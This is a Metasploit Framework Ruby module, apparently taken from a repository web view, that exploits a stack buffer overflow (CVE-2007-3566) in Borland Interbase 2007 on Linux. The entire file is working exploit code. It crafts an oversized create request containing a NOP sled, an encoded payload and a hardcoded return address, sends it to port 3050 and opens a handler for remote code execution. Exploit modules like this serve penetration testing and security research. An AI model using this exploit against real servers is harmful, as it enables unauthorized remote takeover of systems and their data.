Ramon de C Valle
6462ede937
git-svn-id: file:///home/svn/framework3/trunk@5068 4d416f70-5f16-0410-b530-b9f4589650da
110 lines
2.0 KiB
Ruby
110 lines
2.0 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Linux::Misc::Interbase_Create < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Borland Interbase 2007 Create Request Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Borland Interbase 2007
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by sending a specially crafted create request.
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},
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'Version' => '$Revision$',
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'Author' =>
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[
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'Ramon de Carvalho Valle <ramon@risesecurity.org>',
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'Adriano Lima <adriano@risesecurity.org>',
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],
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'Arch' => ARCH_X86,
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'Platform' => 'linux',
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'References' =>
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[
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[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],
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[ 'CVE', '2007-3566' ],
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],
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'Privileged' => true,
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'License' => MSF_LICENSE,
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'Payload' =>
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{
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'Space' => 120,
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},
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'Targets' =>
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[
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#
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# /opt/interbase/bin/ibserver
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#
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# 804cbe4: 5e pop %esi
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# 804cbe5: 5d pop %ebp
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# 804cbe6: c3 ret
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#
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[ 'Linux - Borland Interbase 2007 Server Edition', { 'Ret' => 0x804cbe4 } ],
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],
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'DefaultTarget' => 0
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))
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register_options(
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[
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Opt::RPORT(3050)
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],
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self.class
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)
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end
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def exploit
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connect
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# Create request
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buf = [0x14].pack('N')
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# Id
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buf << [0x03].pack('N')
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# Size
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buf << [0x220].pack('N')
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# It will return into this nop block
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buf << make_nops(0x21c - payload.encoded.length)
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# Payload
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buf << payload.encoded
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print_status("Payload encoded size is #{payload.encoded.length} bytes.")
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# Target
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buf << [target.ret].pack('V')
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# Padding
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buf << rand_text_english(32 * 1024)
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sock.put(buf)
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sleep(2)
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handler
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end
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end
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end
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